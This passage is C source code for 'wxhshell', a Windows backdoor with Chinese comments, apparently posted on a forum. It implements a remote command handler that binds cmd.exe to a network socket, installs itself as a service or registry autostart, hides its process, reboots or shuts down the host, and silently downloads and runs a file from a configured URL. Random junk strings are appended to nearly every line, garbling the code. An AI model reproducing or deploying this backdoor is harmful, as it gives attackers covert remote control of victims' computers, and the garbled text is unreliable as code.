  // 帮助 I^oE4o  
  case '?': { jV(6>BAI_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dw.F5?j`b  
    break; Wf{O[yL*  
  } V([~r,  
  // 安装 kdb(I@6  
  case 'i': { mv5n4mav  
    if(Install()) yLsz8j-QJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J8Yd1.Qj  
    else G_>#Js  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mhW-J6u*  
    break; )'*5R<#  
    } 9-]i.y  
  // 卸载 w8g,a]p  
  case 'r': { ,f1q)Qf  
    if(Uninstall()) >~K qg~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ym/27cRE  
    else ^z,_+},a3T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iCHt1VV]  
    break; 8k(P,o  
    } upeU52@\  
  // 显示 wxhshell 所在路径 C7H/N<VAq  
  case 'p': { DJP2IP  
    char svExeFile[MAX_PATH]; a_h]?5 :c  
    strcpy(svExeFile,"\n\r");  [ `]4P&  
      strcat(svExeFile,ExeFile); $9S(_xdI&  
        send(wsh,svExeFile,strlen(svExeFile),0); %cE 2s`  
    break; ^<LY4^  
    } R\XKMF3mN3  
  // 重启 CgzD$`~  
  case 'b': { 6sa"O89   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~G27;Npy  
    if(Boot(REBOOT)) OgF+O S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ho>k$s?  
    else { QdLYCR4f  
    closesocket(wsh); !"+'A)Nve  
    ExitThread(0); iS5W>1]  
    } kD bhu^~B  
    break; {QCf}@_]h  
    } d|T!v  
  // 关机 *6 _tQ9G  
  case 'd': { "*,XL uv>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QXF aAb=(7  
    if(Boot(SHUTDOWN)) 5=e@d:Sz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h^j?01*Et  
    else { 1^i Pji/  
    closesocket(wsh); M>M`baM1  
    ExitThread(0); ",{ibh)g$`  
    } 5s{ABJ\@V  
    break; 0euuT@_$  
    } XJ2^MF2BU  
  // 获取shell 0@2mXO9f"  
  case 's': { !~Q2|r  
    CmdShell(wsh); %%cHoprDa  
    closesocket(wsh); ={hX}"*D  
    ExitThread(0); JoSJH35=:  
    break; OLI$1d_  
  } eHDef  
  // 退出 ^Q&u0;OJ  
  case 'x': { [b:e:P 2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :8A!HI}m{  
    CloseIt(wsh); =}PdH`S  
    break; BcD&sQ2F  
    } #$3yz'"QF  
  // 离开 G<M:Ak+~  
  case 'q': { s&GJW@ |  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); udeoW-_  
    closesocket(wsh); i|1^+;  
    WSACleanup(); qYhs|tY)  
    exit(1); OM{WI27  
    break; inlk++Og  
        } "(qw-kil  
  } fABe  
  } ." $  
jF[ 1za  
  // 提示信息 U\rh[0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y,pZTlE  
} MQKfJru7  
  } .5!t:FPOv  
gl).cIpw  
  return; Et_V,s<|  
} 0|; .6\  
K!,<7[MBg  
// shell模块句柄 U?.9D  
int CmdShell(SOCKET sock) :$+-3_oLMQ  
{ @ |'5 n  
STARTUPINFO si; wW>)(&!F  
ZeroMemory(&si,sizeof(si)); w\}?(uO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >[6{LAe~hp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?bw4~  
PROCESS_INFORMATION ProcessInfo; K R"M/#  
char cmdline[]="cmd"; ~H6r.:]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _4cvX  
  return 0; <_(/X,kBK  
} c)0amM  
$wYFEz  
// 自身启动模式 4~U'TE @  
int StartFromService(void) jmg!Ml  
{ pKS {6P  
typedef struct {-BRt)L[  
{ f3|@|' ;  
  DWORD ExitStatus; fqu}Le  
  DWORD PebBaseAddress; \n9zw'  
  DWORD AffinityMask; l]<L [Y,E-  
  DWORD BasePriority; moVbw`T  
  ULONG UniqueProcessId; 81*M= ?  
  ULONG InheritedFromUniqueProcessId; dJ?XPo"Cm=  
}   PROCESS_BASIC_INFORMATION; z6py"J@  
/.M+fr S  
PROCNTQSIP NtQueryInformationProcess; <W]g2>9o9  
]; %0qb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KsrjdJx, '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^*~;k|;&  
n4lutnF  
  HANDLE             hProcess; |j3'eW&=  
  PROCESS_BASIC_INFORMATION pbi; 0j(M* sl  
<5=JE*s$NS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <)*2LBF@]  
  if(NULL == hInst ) return 0; XlI!{qj|  
R}mn*h6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^s.V;R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mZIoaF>t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n&MG7`]N  
e?bYjJ q  
  if (!NtQueryInformationProcess) return 0; 76.{0 c  
+h_ !0dG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U:F/ iXz  
  if(!hProcess) return 0; 4.RG4Jq  
~XeFOM q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Ei|fe$sa  
)bx_;9Y{  
  CloseHandle(hProcess); `"@X.}\  
;WL1B   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6WoAs)ZF  
if(hProcess==NULL) return 0; 7*DMVok:  
1}ZKc=Pfu  
HMODULE hMod; `pd&se'p  
char procName[255]; 0b91y3R+  
unsigned long cbNeeded; (Toq^+`c  
e"r)R8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n]+W 3[i  
0N=X74  
  CloseHandle(hProcess); Nx#4W1B[`H  
YC]L)eafo`  
if(strstr(procName,"services")) return 1; // 以服务启动 H;aYiy  
r3rxC&  
  return 0; // 注册表启动 drwgjLC+  
} 97!>%d[0  
z'p:gv]  
// 主模块 Da$r`  
int StartWxhshell(LPSTR lpCmdLine)  g/UaYCjM  
{ Y,8KPg@W  
  SOCKET wsl; P\CDd=yWc  
BOOL val=TRUE; '2zL.:~  
  int port=0; *]JdHO  
  struct sockaddr_in door; &/.hx(#d  
g/=K.  
  if(wscfg.ws_autoins) Install(); dMx4ykrR  
>Q,zNs  
port=atoi(lpCmdLine); 9]$8MY   
6B$q,"%S@  
if(port<=0) port=wscfg.ws_port; ZWV|# c<G  
U-wLt(Y<  
  WSADATA data; ^5=UK7e5KY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^0W(hA  
&p<(_|Af  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #0b&^QL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x r(|*  
  door.sin_family = AF_INET; rg(lCL&:S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "HM{b?N  
  door.sin_port = htons(port); iV.p5FD  
6)]f6p&e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nD" ~?*Lt  
closesocket(wsl); +w| 9x.&W  
return 1; `P+(&taT  
} VVWM9x  
5=?i;P  
  if(listen(wsl,2) == INVALID_SOCKET) { u%O-;>J  
closesocket(wsl); XM Vq-8B0  
return 1; h$C@j~  
} RK9>dkW  
  Wxhshell(wsl); -jg (GGJ  
  WSACleanup(); T#:F]=  
]Gc3Ea;4  
return 0; ZeasYSo4P  
Q"a2.9Eo  
} %R0v5=2'  
D1,O:+[;.  
// 以NT服务方式启动 .&,[,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) go)p%}s  
{ ?BCy J  
DWORD   status = 0; Q F-)^`N  
  DWORD   specificError = 0xfffffff; AZFWuPJo  
@kngI7=E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7INk_2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h"QbA"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HOYq?40.R  
  serviceStatus.dwWin32ExitCode     = 0; b5ie <s  
  serviceStatus.dwServiceSpecificExitCode = 0; <D/al9  
  serviceStatus.dwCheckPoint       = 0; ]S8LY.Az5  
  serviceStatus.dwWaitHint       = 0; 1JTbCS  
~ }KzJiL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >?XbU}  
  if (hServiceStatusHandle==0) return; `]2@ _wa  
l%"`{   
status = GetLastError(); =xEk7'W6k  
  if (status!=NO_ERROR) 7#4%\f+'t  
{ oo'w-\2]p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q G ;-o)h  
    serviceStatus.dwCheckPoint       = 0; zi!#\ s^  
    serviceStatus.dwWaitHint       = 0; xcSR{IZ  
    serviceStatus.dwWin32ExitCode     = status; 9\51Z:>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,zgNE*{Y"4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jW5iqU"{*  
    return; #MTj)P,  
  } l=Wd,$\  
'XfgBJF=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2:J,2=%  
  serviceStatus.dwCheckPoint       = 0; :4;S"p  
  serviceStatus.dwWaitHint       = 0; >a]t<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N^$9;CKP=  
}  {;RF  
gg8c7d:Q  
// 处理NT服务事件,比如:启动、停止 |QYZRz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iPU% /_>  
{ qc0 B<,x7  
switch(fdwControl) {'IFWD.5  
{ )Xno|$b5Eo  
case SERVICE_CONTROL_STOP: ]V<"(?,K  
  serviceStatus.dwWin32ExitCode = 0; :HZ;Po   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ="lI i$>O  
  serviceStatus.dwCheckPoint   = 0; [ _%,6e+  
  serviceStatus.dwWaitHint     = 0; G ]lvHD  
  { 9-- dRTG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a;&}zcc*  
  } _<u;4RO(s  
  return; px [~=$F  
case SERVICE_CONTROL_PAUSE: VG\mo?G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oWD)+5. ]  
  break; t&f" jPu>  
case SERVICE_CONTROL_CONTINUE: cj^bh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L1MrrC  
  break; ('HxHOh2  
case SERVICE_CONTROL_INTERROGATE: c(:Oyba  
  break; [0op)Kn  
}; thV Tdz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #01/(:7  
} qL>v&Rd<  
cyb(\ fsC  
// 标准应用程序主函数 _Y7:!-n}   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {r{>?)O  
{ &NP6%}bR`  
t[j9R#02?  
// 获取操作系统版本 ~,G]glu8  
OsIsNt=GetOsVer(); <)J55++  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }+JLn%H)  
:3gFHBFDj  
  // 从命令行安装 (-'PD_|  
  if(strpbrk(lpCmdLine,"iI")) Install(); rT<1S?jR  
 2+Vp'5>&  
  // 下载执行文件 [[$Mh_MD  
if(wscfg.ws_downexe) { _;V YFs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oo'iwq-\  
  WinExec(wscfg.ws_filenam,SW_HIDE); :^.u-bHI  
} c*jr5 Y  
$WJy?_c  
if(!OsIsNt) { 3m~U(yho  
// 如果时win9x,隐藏进程并且设置为注册表启动 XC2Q*Z  
HideProc(); ^:U;rHY  
StartWxhshell(lpCmdLine); lkyJ;}_**  
} G*=H;Upi  
else >LCjtm\  
  if(StartFromService()) /:^tc/5U ]  
  // 以服务方式启动 W >Kp\tD  
  StartServiceCtrlDispatcher(DispatchTable); 78gob&p?  
else w[|y0jtw  
  // 普通方式启动 /T{mS7EpYc  
  StartWxhshell(lpCmdLine); r"6lLc  
={OCa1  
return 0; mxZ4 HD{  
}
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只看该作者 1 发表于: 2006-10-10
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